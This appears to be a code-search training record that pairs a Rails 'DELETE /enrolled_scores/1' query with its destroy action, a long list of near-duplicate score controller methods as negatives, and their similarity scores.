format.html { redirect_to @score_board, notice: 'Score board was successfully updated.' }\n format.json { render :show, status: :ok, location: @score_board }\n else\n format.html { render :edit }\n format.json { render json: @score_board.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t\t@score_board = ScoreBoard.find(params[:id])\n\t\tif @score_board\n\t\t\t@score_board.update_attributes(score: params[:score].to_i)\n\t\t\tapi_response(@score_board, 'Score Board updated', :ok)\n\t\telse\n\t\t\tapi_response(nil, 'Cannot find score', :bad_request)\n\t\tend\n\tend", "def update\n respond_to do |format|\n if @score.update(simulate_test_score_params)\n\n\n format.html { redirect_to examination_scores_path(@examination),notice: '学员成绩己记录.' }\n format.json { render :show, status: :ok, location: @score }\n else\n format.html { render :edit }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @challenge_grade = ChallengeGrade.find(params[:id])\n\n respond_to do |format|\n if @challenge_grade.update_attributes(params[:challenge_grade])\n format.html { redirect_to @challenge_grade, notice: 'Challenge score was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @challenge_grade.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_score()\n\t\tscore = params[:score]\n\t\treader_id = session[:user_id]\n\t\tapp = App.find(params[:id])\n\t\tif reader_id.to_s == app.reader_1.to_s\n\t\t\tapp.score_1 = score\n\t\telsif reader_id.to_s == app.reader_2.to_s\n\t\t\tapp.score_2 = score\n\t\tend\n\t\tif app.save\n\t\t\tredirect_to :back\n\t\telse\n\t\t\tflash[:error] = app.errors.full_messages.last\n\t\t\tredirect_to :back\n\t\tend\n\tend", "def destroy\n @enrolled_score = EnrolledScore.find(params[:id])\n @enrolled_score.destroy\n \n respond_to do |format|\n format.html { redirect_to enrolled_scores_url }\n format.json { head :no_content }\n end\n end", "def update\n @player_box_score = PlayerBoxScore.find(params[:id])\n\n respond_to do |format|\n if @player_box_score.update_attributes(params[:player_box_score])\n format.html { redirect_to @player_box_score, notice: 'Player box score was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @player_box_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @boxscore = @game.boxscores.find(params[:id])\n \n\n respond_to do |format|\n if @boxscore.update_attributes(params[:boxscore])\n format.html { redirect_to game_boxscores_url(@game), notice: 'Boxscore was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @boxscore.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @candidate_course_score.update(candidate_course_score_params)\n flash[:notice] = 'Course score was successfully updated.'\n format.html { redirect_to candidate_course_score_path(course_score_path_params(@candidate_course_score)) }\n format.json { render :show, status: :ok, location: @candidate_course_score }\n else\n format.html { render :edit }\n format.json { render json: @candidate_course_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @two_score.update(two_score_params)\n format.html { redirect_to @two_score, notice: 'Two score was successfully updated.' }\n format.json { render :show, status: :ok, location: @two_score }\n else\n format.html { render :edit }\n format.json { render json: @two_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @record_score.update(record_score_params)\n format.html { redirect_to @record_score, notice: 'Record score was successfully updated.' }\n format.json { render :show, status: :ok, location: @record_score }\n else\n format.html { render :edit }\n format.json { render json: @record_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @scoring_method = ScoringMethod.find(params[:id])\n\n respond_to do |format|\n if @scoring_method.update_attributes(params[:scoring_method])\n format.html { redirect_to @scoring_method, notice: 'Scoring method was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @scoring_method.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @test_score = @participant.test_scores.find(params[:id])\n @test_score.test_type_id = params[:test_score][:test_type_id]\n @test_score.test_type.reload\n @test_score.add_section_score_attribute_methods\n\n respond_to do |format|\n if @test_score.update_attributes(params[:test_score])\n flash[:notice] = 'TestScore was successfully updated.'\n format.html { redirect_to participant_path(@participant, :anchor => \"!/section/test_scores\") }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @test_score.errors, :status => :unprocessable_entity }\n end\n end\n end", "def assign_scores\n @event = Event.find(params[:id])\n @event.scores = init_scores @event if @event.scores.empty?\n @scores = @event.scores\n end", "def create\n @score = Score.new(score_params)\n\n respond_to do |format|\n if @score.save\n format.html { redirect_to next_scores_path, notice: 'Score was successfully created.' }\n format.json { render action: 'show', status: :created, location: @score }\n else\n format.html { render action: 'new' }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_score\n UpdateBetaUserScore.enqueue(self.id)\n end", "def update\n respond_to do |format|\n if @question_score.update(question_score_params)\n format.html { redirect_to @question_score, notice: 'Question score was successfully updated.' }\n format.js { }\n format.json { render :show, status: :ok, location: @question_score }\n else\n format.html { render :edit }\n format.json { render json: @question_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @score_history.update(score_history_params)\n format.html { redirect_to [:admin, @score_history], notice: '积分历史更新成功.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @score_history.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_resource_assessment_scores\n # TODO: only do this if the location assessment has changed\n self.resources.select{ |r| r.assessment_complete }.each{ |r| r.save! }\n end", "def update_score\n if @submission.intest && @submission.score != -1\n @submission.score = params[:new_score].to_i\n @submission.save\n end\n redirect_to problem_path(@problem, :sub => @submission)\n end", "def updateScore(user, score)\n score.save!()\n return true\n end", "def update!(**args)\n @score = args[:score] if args.key?(:score)\n @trusted_name_confidence = args[:trusted_name_confidence] if args.key?(:trusted_name_confidence)\n end", "def update\n @rock = Rock.find(params[:id])\n\n respond_to do |format|\n if @rock.update_attributes(params[:rock])\n format.html { redirect_to @rock, notice: 'Rock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rock.errors, status: :unprocessable_entity }\n end\n end\n end", "def score\n respond_to do |format|\n if @survey.score\n format.html { redirect_to edit_admins_thriver_path(@user), notice: 'Survey was successfully scored.' }\n format.json { render :show, status: :ok, location: @survey }\n else\n format.html { render :edit }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n success = ScoreService.update(@score, score_params, current_user.id)\n message = t('views.message.update.success')\n @score.add_error_blank_key_name if !success && score_params[:key_name].blank?\n render_scores(success, message)\n end", "def update\n respond_to do |format|\n if @home_score.update(home_score_params)\n format.html { redirect_to @home_score, notice: 'Home score was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @home_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @score = args[:score] if args.key?(:score)\n end", "def update!(**args)\n @score = args[:score] if args.key?(:score)\n end", "def update\n respond_to do |format|\n if @rating_score.update(rating_score_params)\n format.html { redirect_to @rating_score, notice: 'Rating score was successfully updated.' }\n format.json { render :show, status: :ok, location: @rating_score }\n else\n format.html { render :edit }\n format.json { render json: @rating_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @transit_score = TransitScore.find(params[:id])\n\n respond_to do |format|\n if @transit_score.update_attributes(params[:transit_score])\n format.html { redirect_to @transit_score, notice: 'Transit score was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @transit_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @seven_score.update(seven_score_params)\n format.html { redirect_to @seven_score, notice: 'Seven score was successfully updated.' }\n format.json { render :show, status: :ok, location: @seven_score }\n else\n format.html { render :edit }\n format.json { render json: @seven_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @admission_score.update(university_params)\n format.html { redirect_to @admission_score, notice: 'admission_score was successfully updated.' }\n format.json { render :show, status: :ok, location: @admission_score }\n else\n format.html { render :edit }\n format.json { render json: @admission_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event_leaderboard = EventLeaderboard.find(params[:id])\n\n if @event_leaderboard.update(params[:event_leaderboard])\n head :no_content\n else\n render json: @event_leaderboard.errors, status: :unprocessable_entity\n end\n end", "def update_score_using_put_with_http_info(score, score_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ScoreApi.update_score_using_put ...'\n end\n # verify the required parameter 'score' is set\n if @api_client.config.client_side_validation && score.nil?\n fail ArgumentError, \"Missing the required parameter 'score' when calling ScoreApi.update_score_using_put\"\n end\n # verify the required parameter 'score_id' is set\n if @api_client.config.client_side_validation && score_id.nil?\n fail ArgumentError, \"Missing the required parameter 'score_id' when calling ScoreApi.update_score_using_put\"\n end\n # resource path\n local_var_path = '/nucleus/v1/score/{score_id}'.sub('{' + 'score_id' + '}', score_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(score)\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Score')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ScoreApi#update_score_using_put\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @score = args[:score] if args.key?(:score)\n end", "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @score = args[:score] if args.key?(:score)\n end", "def update\n respond_to do |format|\n if @professor_score.update(university_params)\n format.html { redirect_to @professor_score, notice: 'ProfessorScore was successfully updated.' }\n format.json { render :show, status: :ok, location: @professor_score }\n else\n format.html { render :edit }\n format.json { render json: @professor_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @score_paper.update(score_paper_params)\n format.html { redirect_to @score_paper, notice: 'Score paper was successfully updated.' }\n format.json { render :show, status: :ok, location: @score_paper }\n else\n format.html { render :edit }\n format.json { render json: @score_paper.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @score = Score.new(params[:score])\n\n respond_to do |format|\n if @score.save\n format.html { redirect_to @score, notice: 'Score was successfully created.' }\n format.json { render json: @score, status: :created, location: @score }\n else\n format.html { render action: \"new\" }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @score = Score.new(params[:score])\n\n respond_to do |format|\n if @score.save\n format.html { redirect_to @score, notice: 'Score was successfully created.' }\n format.json { render json: @score, status: :created, location: @score }\n else\n format.html { render action: \"new\" }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @score_general.update(score_general_params)\n format.html { redirect_to @score_general, notice: 'Score general was successfully updated.' }\n format.json { render :show, status: :ok, location: @score_general }\n else\n format.html { render :edit }\n format.json { render json: @score_general.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @score = args[:score] if args.key?(:score)\n @token = args[:token] if args.key?(:token)\n end", "def update\n @review = Employee.find(params[:id])\n\n respond_to do |format|\n @review.reviewed = true; @review.score = params[:employee][:score];\n if @review.save\n format.html { redirect_to admin_reviews_path, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_score\n @score = Score.find(params[:id])\n end", "def update_score()\r\n @score += GAME_PRESET[\"score_increment\"]\r\n end", "def create\n course = Course.find(params[:course_id])\n test = Test.find(params[:test_id])\n respond_to do |format|\n begin\n puts params[:absent].nil?\n i = 0\n Score.where(test: test).each do |score|\n if !score.update(value: (params[:\"absent#{i}\"]? -2 : params[:\"score-input#{i}\"]))\n raise\n end\n i += 1\n end\n rescue => exception\n format.html { render :edit }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n else\n format.html { redirect_to course_test_scores_path(course, test), notice: 'Scores were successfully updated.' }\n format.json { render :show, status: :ok, location: course_test_scores_path(course, test) }\n end\n end\n end", "def update\n respond_to do |format|\n if @classpersonscore.update(classpersonscore_params)\n format.html { redirect_to @classpersonscore, notice: 'Classpersonscore was successfully updated.' }\n format.json { render :show, status: :ok, location: @classpersonscore }\n else\n format.html { render :edit }\n format.json { render json: @classpersonscore.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @three_score.update(three_score_params)\n format.html { redirect_to @three_score, notice: 'Three score was successfully updated.' }\n format.json { render :show, status: :ok, location: @three_score }\n else\n format.html { render :edit }\n format.json { render json: @three_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @academic_score.update(university_params)\n format.html { redirect_to @academic_score, notice: 'AcademicScore was successfully updated.' }\n format.json { render :show, status: :ok, location: @academic_score }\n else\n format.html { render :edit }\n format.json { render json: @academic_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @enrolled_course.update(enrolled_course_params)\n format.html { redirect_to @enrolled_course, notice: 'Enrolled course was successfully updated.' }\n format.json { render :show, status: :ok, location: @enrolled_course }\n else\n format.html { render :edit }\n format.json { render json: @enrolled_course.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_score\n @score = Score.find(params[:id])\n end", "def set_score\n @score = Score.find(params[:id])\n end", "def set_score\n @score = Score.find(params[:id])\n end", "def set_score\n @score = Score.find(params[:id])\n end", "def set_score\n @score = Score.find(params[:id])\n end", "def set_score\n @score = Score.find(params[:id])\n end" ]
[ "0.7013944", "0.68859345", "0.68859345", "0.68859345", "0.6808532", "0.67891353", "0.67891353", "0.67891353", "0.67891353", "0.67533666", "0.671632", "0.6694003", "0.6692928", "0.6582246", "0.65721697", "0.65700793", "0.6567353", "0.6558193", "0.6521755", "0.6455358", "0.64349467", "0.6428024", "0.64275426", "0.6416667", "0.6409388", "0.63722986", "0.6308729", "0.6292635", "0.62725043", "0.62639284", "0.62457776", "0.62393725", "0.6219553", "0.62193686", "0.6216486", "0.6211554", "0.62079936", "0.6200061", "0.6175826", "0.6147194", "0.6146436", "0.61434543", "0.61398584", "0.6108506", "0.6107075", "0.61040074", "0.6099935", "0.60954034", "0.6095069", "0.6082289", "0.6079023", "0.6058804", "0.6053383", "0.6052496", "0.60467166", "0.60438603", "0.6040696", "0.60379165", "0.60327625", "0.6029781", "0.601891", "0.6012238", "0.60090697", "0.600449", "0.6004403", "0.6003792", "0.59916884", "0.59894115", "0.5989401", "0.598726", "0.5984764", "0.5984764", "0.5968519", "0.5957221", "0.5952105", "0.5949979", "0.5940324", "0.5932309", "0.5927353", "0.5927353", "0.5921104", "0.5911267", "0.59046686", "0.59046686", "0.59007686", "0.5890859", "0.5889954", "0.5885518", "0.5880505", "0.5877765", "0.5875663", "0.58671016", "0.5858229", "0.5856523", "0.5855022", "0.5855022", "0.5855022", "0.5855022", "0.5855022", "0.5855022" ]
0.75799346
0
DELETE /enrolled_scores/1 DELETE /enrolled_scores/1.json
def destroy @enrolled_score = EnrolledScore.find(params[:id]) @enrolled_score.destroy respond_to do |format| format.html { redirect_to enrolled_scores_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @score.destroy\n respond_to do |format|\n format.html { redirect_to scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @score = Score.find(params[:id])\n @score.destroy\n\n respond_to do |format|\n format.html { redirect_to scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @score = Score.find(params[:id])\n @score.destroy\n\n respond_to do |format|\n format.html { redirect_to scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @score = Score.find(params[:id])\n @score.destroy\n\n respond_to do |format|\n format.html { redirect_to scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @score = Score.find(params[:id])\n @score.destroy\n\n respond_to do |format|\n format.html { redirect_to scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @score = Score.find(params[:id])\n @score.destroy\n respond_to do |format|\n format.html { redirect_to scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @aja_score = AjaScore.find(params[:id])\n @aja_score.destroy\n\n respond_to do |format|\n format.html { redirect_to aja_scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @analyst_score.destroy\n respond_to do |format|\n format.html { redirect_to analyst_scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @score.destroy\n respond_to do |format|\n format.html { redirect_to examination_scores_url, notice: 'Simulate test score was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @score.destroy\n respond_to do |format|\n format.html { redirect_to scores_url, notice: 'Score was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @score.destroy\n respond_to do |format|\n format.html { redirect_to scores_url, notice: 'Score was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @score.destroy\n respond_to do |format|\n format.html { redirect_to scores_url, notice: 'Score was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @score.destroy\n respond_to do |format|\n format.html { redirect_to scores_url, notice: 'Score was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @game_score = GameScore.find(params[:id])\n @game_score.destroy\n\n respond_to do |format|\n format.html { redirect_to game_scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @score.destroy\n respond_to do |format|\n format.html { redirect_to @score.goal, notice: 'Score was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @username_score = UsernameScore.find(params[:id])\n @username_score.destroy\n\n respond_to do |format|\n format.html { redirect_to username_scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @request_score.destroy\n respond_to do |format|\n format.html { redirect_to request_scores_url, notice: 'Request score was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @score = Score.find(params[:id])\n @score.destroy\n\n respond_to do |format|\n format.html { redirect_to(scores_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @score = Score.find(params[:id])\n @score.destroy\n\n respond_to do |format|\n format.html { redirect_to(scores_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @test_score = @participant.test_scores.find(params[:id])\n @test_score.destroy\n\n respond_to do |format|\n format.html { redirect_to participant_path(@participant, :anchor => \"!/section/test_scores\") }\n format.xml { head :ok }\n end\n end", "def destroy\n @highscore.destroy\n respond_to do |format|\n format.html { redirect_to highscores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @enrolled = Enrolled.find(params[:id])\n @enrolled.destroy\n\n respond_to do |format|\n format.html { redirect_to enrolleds_url }\n format.json { head :no_content }\n end\n end", "def destroy\n authorize @score\n @score.destroy\n respond_to do |format|\n format.html { redirect_to scores_url, notice: 'Score was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_scores\n end", "def destroy\n @high_score = HighScore.find(params[:id])\n @high_score.destroy\n\n respond_to do |format|\n format.html { redirect_to high_scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @high_score = HighScore.find(params[:id])\n @high_score.destroy\n\n respond_to do |format|\n format.html { redirect_to high_scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @home_score.destroy\n respond_to do |format|\n format.html { redirect_to home_scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @five_score.destroy\n respond_to do |format|\n format.html { redirect_to five_scores_url, notice: 'Five score was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @score_history.destroy\n respond_to do |format|\n format.html { redirect_to admin_score_histories_url, notice: '积分历史删除成功.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @student_score.destroy\n respond_to do |format|\n format.html { redirect_to student_scores_url, notice: 'Student score was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @ability_score = AbilityScore.find(params[:id])\n @ability_score.destroy\n\n respond_to do |format|\n format.html { redirect_to(ability_scores_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @user_score.destroy\n respond_to do |format|\n format.html { redirect_to user_scores_url, notice: 'User score was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @box_score_entry.destroy\n respond_to do |format|\n format.html { redirect_to box_score_entries_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @record_score.destroy\n respond_to do |format|\n format.html { redirect_to record_scores_url, notice: 'Record score was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @four_score.destroy\n respond_to do |format|\n format.html { redirect_to four_scores_url, notice: 'Four score was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @box_score = BoxScore.find(params[:id])\n @box_score.destroy\n\n respond_to do |format|\n format.html { redirect_to box_scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @enrolled_student = EnrolledStudent.find(params[:id])\n @enrolled_student.destroy\n\n respond_to do |format|\n format.html { redirect_to enrolled_students_url }\n format.json { head :ok }\n end\n end", "def destroy\n @three_score.destroy\n respond_to do |format|\n format.html { redirect_to three_scores_url, notice: 'Three score was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @two_score.destroy\n respond_to do |format|\n format.html { redirect_to two_scores_url, notice: 'Two score was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @seven_score.destroy\n respond_to do |format|\n format.html { redirect_to seven_scores_url, notice: 'Seven score was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n # @scoring_method = ScoringMethod.find(params[:id])\n # @scoring_method.destroy\n\n respond_to do |format|\n format.html { redirect_to scoring_methods_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @boxscore = @game.boxscores.find(params[:id])\n @boxscore.destroy\n\n respond_to do |format|\n format.html { redirect_to @game }\n format.json { head :no_content }\n end\n end", "def destroy\n @score_general.destroy\n respond_to do |format|\n format.html { redirect_to score_generals_url, notice: 'Score general was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @score.destroy\n end", "def destroy\n # @score_query.destroy\n # respond_to do |format|\n # format.html { redirect_to phone_score_queries_url, notice: 'Score query was successfully destroyed.' }\n # format.json { head :no_content }\n # end\n end", "def destroy\n # @score_query.destroy\n # respond_to do |format|\n # format.html { redirect_to phone_score_queries_url, notice: 'Score query was successfully destroyed.' }\n # format.json { head :no_content }\n # end\n end", "def destroy\n @score_sheet = ScoreSheet.find(params[:id])\n @score_sheet.destroy\n\n respond_to do |format|\n format.html { redirect_to score_sheets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @rating_score.destroy\n respond_to do |format|\n format.html { redirect_to rating_scores_url, notice: 'Rating score was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @score_board.destroy\n respond_to do |format|\n format.html { redirect_to score_boards_url, notice: 'Score board was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @player_box_score = PlayerBoxScore.find(params[:id])\n @player_box_score.destroy\n\n respond_to do |format|\n format.html { redirect_to player_box_scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n # delete Score first, then Game\n @score.destroy if @score\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @leaderboard = Leaderboard.find(params[:id])\n @leaderboard.destroy\n\n respond_to do |format|\n format.html { redirect_to leaderboards_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @challenge_grade = ChallengeGrade.find(params[:id])\n @challenge_grade.destroy\n\n respond_to do |format|\n format.html { redirect_to challenge_grades_url }\n format.json { head :ok }\n end\n end", "def destroy\n @criterion_grade.destroy\n respond_to do |format|\n format.html { redirect_to criterion_grades_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @reward_and_level.destroy\n respond_to do |format|\n format.html { redirect_to reward_and_levels_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @classpersonscore.destroy\n respond_to do |format|\n format.html { redirect_to classpersonscores_url, notice: 'Classpersonscore was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @transit_score = TransitScore.find(params[:id])\n @transit_score.destroy\n\n respond_to do |format|\n format.html { redirect_to transit_scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n course = Course.find(params[:course_id])\n TestCourse.of(course).each do |tc|\n Score.where( student_id: @enroll.student_id, test_id: tc.test_id).each do |score|\n score.destroy\n end\n end\n @enroll.destroy\n respond_to do |format|\n format.html { redirect_to course_enrolls_path(course), notice: 'Enroll was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @evaluationstatus = Evaluationstatus.find(params[:id])\n @evaluationstatus.destroy\n\n respond_to do |format|\n format.html { redirect_to evaluationstatuses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @student_goal_evaluation.destroy\n respond_to do |format|\n format.html { redirect_to student_goal_evaluations_url, notice: 'Evalueringen er slettet.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @score_paper.destroy\n respond_to do |format|\n format.html { redirect_to score_papers_url, notice: 'Score paper was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n if @challenge_score.user == current_user || current_user.admin?\n @challenge_score.destroy\n respond_to do |format|\n format.html { redirect_to challenge_scores_url, notice: 'Challenge score was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n\n\n end", "def destroy\n @score_category.destroy\n respond_to do |format|\n format.html { redirect_to score_categories_url, notice: 'Score category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @student_scorecard = StudentScorecard.find(params[:id])\n @student_scorecard.destroy\n\n respond_to do |format|\n format.html { redirect_to student_scorecards_url }\n format.json { head :ok }\n end\n end", "def destroy\n @lesson_learned = LessonLearned.find(params[:id])\n @lesson_learned.destroy\n\n # Now remove it from Solr\n @rsolr.delete_by_id(@lesson_learned.id)\n @rsolr.commit\n\n respond_to do |format|\n format.html { redirect_to lesson_learneds_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @box_score_entry = BoxScoreEntry.find(params[:id])\n @box_score_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to box_score_entries_url }\n format.json { head :ok }\n end\n end", "def destroy\n @scoring_scale = ScoringScale.find(params[:id])\n @scoring_scale.destroy\n\n respond_to do |format|\n format.html { redirect_to scoring_scales_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @rock = Rock.find(params[:id])\n @rock.destroy\n\n respond_to do |format|\n format.html { redirect_to rocks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @scorecard = Scorecard.find(params[:id])\n @scorecard.destroy\n\n respond_to do |format|\n format.html { redirect_to scorecards_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_v1_reward.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_rewards_url, notice: 'Reward was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @evaluable_competency = EvaluableCompetency.find(params[:id])\n @evaluable_competency.destroy\n\n respond_to do |format|\n format.html { redirect_to evaluable_competencies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @enrolled = Enrolled.find(params[:id])\n @enrolled.destroy\n \n respond_to do |format|\n format.html { redirect_to enrolleds_url }\n format.json { head :no_content }\n format.js\n end\n end", "def destroy\n @leader_history = LeaderHistory.find(params[:id])\n @leader_history.destroy\n\n respond_to do |format|\n format.html { redirect_to leader_histories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @competency.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @candidate_course_score.destroy\n flash[:notice] = 'Course score was successfully destroyed.'\n respond_to do |format|\n format.html { redirect_to candidate_course_scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @games_leaderboard.destroy\n\n head :no_content\n end", "def destroy\n @student_cell_leader = StudentCellLeader.find(params[:id])\n @student_cell_leader.destroy\n\n respond_to do |format|\n format.html { redirect_to student_cell_leaders_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @accuracy = Accuracy.find(params[:id])\n @accuracy.destroy\n\n respond_to do |format|\n format.html { redirect_to accuracies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @score_evaluation = ScoreEvaluation.find(params[:id])\n @score_evaluation.destroy\n \n respond_to do |format|\n format.html { redirect_to score_evaluations_url }\n format.json { head :no_content }\n format.js\n end\n end", "def destroy\n @grade.destroy\n respond_to do |format|\n format.html { redirect_to grades_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @evaluation.destroy\n respond_to do |format|\n format.html { redirect_to evaluations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @evaluation.destroy\n respond_to do |format|\n format.html { redirect_to evaluations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @leader = Leader.find(params[:id])\n @leader.destroy\n\n respond_to do |format|\n format.html { redirect_to leaders_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @score_template = ScoreTemplate.find(params[:id])\n @score_template.destroy\n\n respond_to do |format|\n format.html { redirect_to score_templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question_learned.destroy\n respond_to do |format|\n format.html { redirect_to question_question_learneds_path(@question) }\n format.json { head :no_content }\n end\n end", "def destroy\n @enroll = Enroll.find(params[:id])\n @enroll.destroy\n\n respond_to do |format|\n format.html { redirect_to enrolls_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @overall.destroy\n respond_to do |format|\n format.html { redirect_to overalls_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @grade.destroy\n\n head :no_content\n end", "def 